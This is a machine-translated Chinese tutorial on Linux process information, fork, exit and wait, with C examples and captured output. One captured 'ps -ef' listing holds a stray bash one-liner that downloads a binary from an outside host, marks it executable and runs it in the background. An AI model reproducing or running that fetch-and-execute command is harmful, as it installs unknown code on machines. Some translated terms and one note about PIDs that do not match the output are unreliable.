目录

快速指南

Inter Process Communication - Overview

进程间通信(IPC)是一种涉及一个进程与另一个进程的通信的机制。 这通常只发生在一个系统中。

沟通可以有两种类型 -

  • 在仅从一个进程启动的相关进程之间,例如父进程和子进程。

  • 在不相关的进程之间,或两个或多个不同的进程之间。

以下是我们在继续讨论此主题之前需要了解的一些重要术语。

Pipes - 两个相关过程之间的通信。 该机制是半双工的,意味着第一个过程与第二个过程通信。 为了实现全双工,即,对于与第一过程通信的第二过程,需要另一个管道。

FIFO - 两个不相关进程之间的通信。 FIFO是全双工,意味着第一个进程可以与第二个进程通信,反之亦然。

Message Queues - 具有全双工容量的两个或多个进程之间的通信。 这些进程将通过发布消息并将其从队列中检索出来来相互通信。 检索后,队列中的消息不再可用。

Shared Memory - 两个或多个进程之间的通信是通过所有进程之间共享的内存来实现的。 需要通过同步对所有进程的访问来保护共享内存。

Semaphores - 信号量用于同步对多个进程的访问。 当一个进程想要访问内存(用于读取或写入)时,需要锁定(或保护)并在删除访问时释放它。 这需要由所有进程重复以保护数据。

Signals - 信号是通过信令方式在多个进程之间进行通信的机制。 这意味着源进程将发送一个信号(由数字识别),目标进程将相应地处理它。

Note - 本教程中的几乎所有程序都基于Linux操作系统下的系统调用(在Ubuntu中执行)。

Process Information

在我们进入流程信息之前,我们需要了解一些事情,例如 -

什么是流程? 流程是执行中的程序。

什么是节目? 程序是一个文件,包含进程的信息以及如何在运行时构建它。 当您开始执行程序时,它将被加载到RAM中并开始执行。

每个进程都使用一个称为进程ID的唯一正整数或简单的PID(进程标识号)来标识。 内核通常将进程ID限制为32767,这是可配置的。 当进程ID达到此限制时,它将再次重置,即系统处理范围之后。 然后将来自该计数器的未使用的进程ID分配给新创建的进程。

系统调用getpid()返回调用进程的进程ID。

#include <sys/types.h>
#include <unistd.h>
pid_t getpid(void);

此调用返回调用进程的进程ID,该进程ID保证是唯一的。 此调用始终成功,因此没有返回值来指示错误。

每个进程都有其唯一的ID,称为进程ID,但是谁创建了它? 如何获取有关其创建者的信息? 创建者进程称为父进程。 可以通过getppid()调用获取父ID或PPID。

系统调用getppid()返回调用进程的父PID。

#include <sys/types.h>
#include <unistd.h>
pid_t getppid(void);

此调用返回调用进程的父进程ID。 此调用始终成功,因此没有返回值来指示错误。

让我们用一个简单的例子来理解这一点。

以下是了解调用进程的PID和PPID的程序。

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

在编译和执行上述程序时,将输出以下内容。

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/lib/mysql 
                                         --plugin-dir = /usr/lib64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

Note - “C”库函数system()执行shell命令。 传递给system()的参数是在shell上执行的命令。 在上面的程序中,命令是“ps”,它给出了进程状态。

有关所有正在运行的进程和其他系统相关信息的完整信息可从/ proc位置的proc文件系统访问。

Process Image

现在我们已经了解了如何获取流程及其父流程的基本信息,现在是时候查看流程/程序信息的细节了。

过程图像究竟是什么? 过程映像是执行程序时所需的可执行文件。 此图像通常包含以下部分 -

  • 代码段或文本段
  • 数据段
  • 堆栈段
  • 堆段

以下是过程图像的图形表示。

过程图像

Code segment是目标文件或程序的虚拟地址空间的一部分,由可执行指令组成。 这通常是只读数据段,具有固定大小。

数据段有两种类型。

  • Initialized
  • Un-initialized

Initialized data segment是目标文件或程序的虚拟地址空间的一部分,由初始化的静态和全局变量组成。

Un-initialized data segment是目标文件或程序的虚拟地址空间的一部分,由未初始化的静态和全局变量组成。 未初始化的数据段也称为BSS(符号开始的块)段。

Data segment是读写的,因为变量的值可以在运行时更改。 该细分市场也有固定的规模。

Stack segment是为自动变量和函数参数分配的内存区域。 它还在执行函数调用时存储返回地址。 堆栈使用LIFO(后进先出)机制来存储本地或自动变量,函数参数以及存储下一个地址或返回地址。 返回地址是指完成函数执行后返回的地址。 根据局部变量,函数参数和函数调用,此段大小是可变的。 该段从较高地址增长到较低地址。

Heap segment是为动态内存存储分配的内存区域,例如malloc()和calloc()调用。 此段大小也根据用户分配而变化。 该段从较低地址增长到较高地址。

现在让我们检查段(数据和bss段)大小如何随一些示例程序而变化。 通过执行命令“size”可以知道段大小。

初始计划

File: segment_size1.c

#include<stdio.h>
int main() {
   printf("Hello World\n");
   return 0;
}

在以下程序中,添加了一个未初始化的静态变量。 这意味着未初始化的段(BSS)大小将增加4个字节。 Note - 在Linux操作系统中,int的大小为4个字节。 整数数据类型的大小取决于编译器和操作系统支持。

File: segment_size2.c

#include<stdio.h>
int main() {
   static int mystaticint1;
   printf("Hello World\n");
   return 0;
}

在以下程序中,添加了初始化的静态变量。 这意味着初始化段(DATA)大小将增加4个字节。

File: segment_size3.c

#include<stdio.h>
int main() {
   static int mystaticint1;
   static int mystaticint2 = 100;
   printf("Hello World\n");
   return 0;
}

在以下程序中,添加了初始化的全局变量。 这意味着初始化段(DATA)大小将增加4个字节。

File: segment_size4.c

#include<stdio.h>
int myglobalint1 = 500;
int main() {
   static int mystaticint1;
   static int mystaticint2 = 100;
   printf("Hello World\n");
   return 0;
}

在以下程序中,添加了一个未初始化的全局变量。 这意味着未初始化的段(BSS)大小将增加4个字节。

File: segment_size5.c

#include<stdio.h>
int myglobalint1 = 500;
int myglobalint2;
int main() {
   static int mystaticint1;
   static int mystaticint2 = 100;
   printf("Hello World\n");
   return 0;
}

执行步骤 (Execution Steps)

编译 (Compilation)

babukrishnam $ gcc segment_size1.c -o segment_size1
babukrishnam $ gcc segment_size2.c -o segment_size2
babukrishnam $ gcc segment_size3.c -o segment_size3
babukrishnam $ gcc segment_size4.c -o segment_size4
babukrishnam $ gcc segment_size5.c -o segment_size5

Execution/Output

babukrishnam size segment_size1 segment_size2 segment_size3 segment_size4 segment_size5
   text  data  bss  dec  hex  filename
   878   252    8   1138 472  segment_size1 
   878   252   12   1142 476  segment_size2 
   878   256   12   1146 47a  segment_size3 
   878   260   12   1150 47e  segment_size4 
   878   260   16   1154 482  segment_size5
babukrishnam

Process Creation & Termination

到目前为止,我们知道无论何时执行程序,都会创建一个进程,并在执行完成后终止。 如果我们需要在程序中创建进程并且可能希望为其安排不同的任务,该怎么办? 这可以实现吗? 是的,显然是通过创建流程。 当然,在完成工作后,它会自动终止,或者您可以根据需要终止它。

通过fork() system call实现进程创建。 新创建的进程称为子进程,启动它的进程(或启动执行时的进程)称为父进程。 在fork()系统调用之后,现在我们有两个进程 - 父进程和子进程。 如何区分它们? 很简单,它是通过他们的返回值。

系统调用

创建子进程后,让我们看一下fork()系统调用的详细信息。

#include <sys/types.h>
#include <unistd.h>
pid_t fork(void);

创建子进程。 在此调用之后,有两个进程,现有的进程称为父进程,新创建的进程称为子进程。

fork()系统调用返回三个值中的任何一个 -

  • 负值表示错误,即创建子进程失败。

  • 为子进程返回零。

  • 返回父进程的正值。 此值是新创建的子进程的进程ID。

让我们考虑一个简单的程序。

File name: basicfork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
   fork();
   printf("Called fork() system call\n");
   return 0;
}

执行步骤 (Execution Steps)

编译 (Compilation)

gcc basicfork.c -o basicfork

Execution/Output

Called fork() system call
Called fork() system call

Note - 通常在fork()调用之后,子进程和父进程将执行不同的任务。 如果需要运行相同的任务,那么对于每个fork()调用,它将运行2次幂n次,其中n是fork()被调用的次数。

在上面的例子中,fork()被调用一次,因此输出被打印两次(2次幂1)。 如果调用fork(),比如说3次,则输出将被打印8次(2次幂3)。 如果它被调用5次,那么它会打印32次,依此类推。

看过fork()创建子进程后,就可以看到父进程和子进程的详细信息了。

文件名:pids_after_fork.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
   pid_t pid, mypid, myppid;
   pid = getpid();
   printf("Before fork: Process id is %d\n", pid);
   pid = fork();
   if (pid < 0) {
      perror("fork() failure\n");
      return 1;
   }
   // Child process
   if (pid == 0) {
      printf("This is child process\n");
      mypid = getpid();
      myppid = getppid();
      printf("Process id is %d and PPID is %d\n", mypid, myppid);
   } else { // Parent process 
      sleep(2);
      printf("This is parent process\n");
      mypid = getpid();
      myppid = getppid();
      printf("Process id is %d and PPID is %d\n", mypid, myppid);
      printf("Newly created process id or child pid is %d\n", pid);
   }
   return 0;
}

编译和执行步骤 (Compilation and Execution Steps)

Before fork: Process id is 166629
This is child process
Process id is 166630 and PPID is 166629
Before fork: Process id is 166629
This is parent process
Process id is 166629 and PPID is 166628
Newly created process id or child pid is 166630

一个过程可以以两种方式中的任何一种终止 -

  • 异常地,在发送某些信号时发生,例如终止信号。

  • 通常,使用_exit()系统调用(或_Exit()系统调用)或exit()库函数。

_exit()和exit()之间的区别主要是清理活动。 exit()在将控件返回给内核之前进行一些清理,而_exit() (或_Exit())会立即将控件返回给内核。

请考虑以下带exit()的示例程序。

文件名:atexit_sample.c

#include <stdio.h>
#include <stdlib.h>
void exitfunc() {
   printf("Called cleanup function - exitfunc()\n");
   return;
}
int main() {
   atexit(exitfunc);
   printf("Hello, World!\n");
   exit (0);
}

编译和执行步骤 (Compilation and Execution Steps)

Hello, World!
Called cleanup function - exitfunc()

请考虑以下带有_exit()的示例程序。

文件名:at_exit_sample.c

#include <stdio.h>
#include <unistd.h>
void exitfunc() {
   printf("Called cleanup function - exitfunc()\n");
   return;
}
int main() {
   atexit(exitfunc);
   printf("Hello, World!\n");
   _exit (0);
}

编译和执行步骤 (Compilation and Execution Steps)

Hello, World!

Child Process Monitoring

正如我们所看到的,每当我们使用fork从程序创建子进程时,会发生以下情况 -

  • 当前流程现在成为父流程
  • 新流程成为子流程

如果父进程早于子进程完成其任务然后退出或退出,会发生什么? 现在谁将成为子进程的父级? 子进程的父进程是init进程,这是启动所有任务的第一个进程。

要监视子进程执行状态,检查子进程是运行还是停止,或检查执行状态等,使用wait()系统调用及其变体。

让我们考虑一个示例程序,其中父进程不等待子进程,这导致init进程成为子进程的新父进程。

文件名:parentprocess_nowait.c

#include<stdio.h>
int main() {
   int pid;
   pid = fork();
   // Child process
   if (pid == 0) {
      system("ps -ef");
      sleep(10);
      system("ps -ef");
   } else {
      sleep(3);
   }
   return 0;
}

编译和执行步骤 (Compilation and Execution Steps)

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 Jan20 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0 Jan20 ?        00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506    5445      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328    5446      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   21894      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   21895      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   27309      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   27311      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
8295652   32407      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
4688328   49830      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
3108506   50854      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
4688328   64936      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
3108506   64937      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   67563      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
5942779   68128      0  0 Jan22 ?        00:00:07 /sbin/klogd -c 1 -x -x
3108506   68238      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   68999      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
3108506   69212      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   74090      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   74091      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328   74298      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   74299      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
6327201   74901      0  0 Jan20 ?        00:00:38 /sbin/klogd -c 1 -x -x
6327201   77274      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   78621      0  0 Jan20 ?        00:00:33 /sbin/klogd -c 1 -x -x
7528790   80536      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
6327201   80542      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
4688328   82050      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
3108506   82051      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
7528790   84116      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   84136      0 19 Jan20 ?        21:13:38 /sbin/klogd -c 1 -x -x
7528790   84140      0  0 Jan20 ?        00:00:28 /sbin/klogd -c 1 -x -x
3108506   84395      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84396      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84397      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
3108506   84928      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84929      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84930      0  0 Jan22 ?        00:00:30 [/sbin/klogd -c ] <defunct>
7528790   84970      0  0 Jan20 ?        00:00:34 /sbin/klogd -c 1 -x -x
3108506   85787      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   85789      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86368      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86402      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   87027      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
7528790   87629      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
7528790   87719      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
4688328   88138      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   88140      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   89353      0 99 Jan22 ?        2-07:35:14 /sbin/klogd -c 1 -x -x
5942779   91836      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328  125358      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  125359      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328  127456      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  127457      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
8023807  163891      0  0 05:41 ?        00:00:00 main
8023807  164130      0  0 05:41 ?        00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807  164136 164130  0 05:41 ?        00:00:00 timeout 10s main
8023807  164137 164136  0 05:41 ?        00:00:00 main
8023807  164138 164137  0 05:41 ?        00:00:00 main
8023807  164139 164138  0 05:41 ?        00:00:00 ps -ef
UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 Jan20 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0 Jan20 ?        00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506    5445      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328    5446      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   21894      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   21895      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   27309      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   27311      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
8295652   32407      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
4688328   49830      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
3108506   50854      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
4688328   64936      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
3108506   64937      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   67563      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
5942779   68128      0  0 Jan22 ?        00:00:07 /sbin/klogd -c 1 -x -x
3108506   68238      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   68999      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
3108506   69212      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   74090      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   74091      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328   74298      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   74299      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
6327201   74901      0  0 Jan20 ?        00:00:38 /sbin/klogd -c 1 -x -x
6327201   77274      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   78621      0  0 Jan20 ?        00:00:33 /sbin/klogd -c 1 -x -x
7528790   80536      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
6327201   80542      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
4688328   82050      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
3108506   82051      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
7528790   84116      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   84136      0 19 Jan20 ?        21:13:48 /sbin/klogd -c 1 -x -x
7528790   84140      0  0 Jan20 ?        00:00:28 /sbin/klogd -c 1 -x -x
3108506   84395      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84396      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84397      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
3108506   84928      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84929      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84930      0  0 Jan22 ?        00:00:30 [/sbin/klogd -c ] <defunct>
7528790   84970      0  0 Jan20 ?        00:00:34 /sbin/klogd -c 1 -x -x
3108506   85787      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   85789      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86368      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86402      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   87027      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
7528790   87629      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
7528790   87719      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
4688328   88138      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   88140      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   89353      0 99 Jan22 ?        2-07:35:24 /sbin/klogd -c 1 -x -x
5942779   91836      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328  125358      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  125359      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328  127456      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  127457      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
8023807  164138      0  0 05:41 ?        00:00:00 main
8023807  164897 164138  0 05:41 ?        00:00:00 ps -ef

Note - 观察父进程PID为94且子进程PID为95.在父进程退出后,子进程的PPID从94更改为1(init进程)。

以下是监视子进程/ es的系统调用的变体 -

  • wait()
  • waitpid()
  • waitid()

wait()系统调用将等待其中一个子节点终止并在缓冲区中返回其终止状态,如下所述。

#include <sys/types.h>
#include <sys/wait.h>
pid_t wait(int *status);

此调用在成功时返回已终止子进程的进程ID,在失败时返回-1。 wait()系统调用暂停当前进程的执行并无限期地等待,直到其子进程终止。 来自孩子的终止状态在状态中可用。

让我们修改以前的程序,以便父进程现在等待子进程。

/*文件名:parentprocess_waits.c */

#include<stdio.h>
int main() {
   int pid;
   int status;
   pid = fork();
   // Child process
   if (pid == 0) {
      system("ps -ef");
      sleep(10);
      system("ps -ef");
      return 3; //exit status is 3 from child process
   } else {
      sleep(3);
      wait(&status);
      printf("In parent process: exit status from child is decimal %d, hexa %0x\n", status, status);
   }
   return 0;
}

编译和执行步骤 (Compilation and Execution Steps)

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 Jan20 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0 Jan20 ?        00:04:42 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506    5445      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328    5446      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   21894      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   21895      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   27309      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   27311      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
8295652   32407      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
4688328   49830      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
3108506   50854      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
4688328   64936      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
3108506   64937      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   67563      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
5942779   68128      0  0 Jan22 ?        00:00:07 /sbin/klogd -c 1 -x -x
3108506   68238      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   68999      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
3108506   69212      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   74090      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   74091      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328   74298      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   74299      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
6327201   74901      0  0 Jan20 ?        00:00:38 /sbin/klogd -c 1 -x -x
6327201   77274      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   78621      0  0 Jan20 ?        00:00:33 /sbin/klogd -c 1 -x -x
7528790   80536      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
6327201   80542      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
4688328   82050      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
3108506   82051      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
7528790   84116      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   84136      0 19 Jan20 ?        21:19:39 /sbin/klogd -c 1 -x -x
7528790   84140      0  0 Jan20 ?        00:00:28 /sbin/klogd -c 1 -x -x
3108506   84395      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84396      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84397      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
3108506   84928      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84929      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84930      0  0 Jan22 ?        00:00:30 [/sbin/klogd -c ] <defunct>
7528790   84970      0  0 Jan20 ?        00:00:34 /sbin/klogd -c 1 -x -x
3108506   85787      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   85789      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86368      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86402      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   87027      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
7528790   87629      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
7528790   87719      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
4688328   88138      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   88140      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   89353      0 99 Jan22 ?        2-07:41:15 /sbin/klogd -c 1 -x -x
5942779   91836      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328  125358      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  125359      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328  127456      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  127457      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
8023807  191762      0  0 05:47 ?        00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807  191768 191762  0 05:47 ?        00:00:00 timeout 10s main
8023807  191769 191768  0 05:47 ?        00:00:00 main
8023807  191770 191769  0 05:47 ?        00:00:00 main
8023807  192193      0  0 05:47 ?        00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807  192199 192193  0 05:47 ?        00:00:00 timeout 10s main
8023807  192200 192199  0 05:47 ?        00:00:00 main
8023807  192201 192200  0 05:47 ?        00:00:00 main
8023807  192202 192201  0 05:47 ?        00:00:00 ps -ef

Note - 即使子进程返回3的退出状态,为什么父进程将其视为768.状态存储在高位字节中,因此它以十六进制格式存储为0X0300,即十进制的768。 正常终止如下

高阶字节(第8到15位) 低位字节(位0到7)
退出状态(0到255) 0

wait()系统调用有限制,例如它只能等到下一个子进程退出。 如果我们需要等待特定的子节点,则无法使用wait(),但是,可以使用waitpid()系统调用。

waitpid()系统调用将等待指定的子节点终止并在缓冲区中返回其终止状态,如下所述。

#include <sys/types.h>
#include <sys/wait.h>
pid_t waitpid(pid_t pid, int *status, int options);

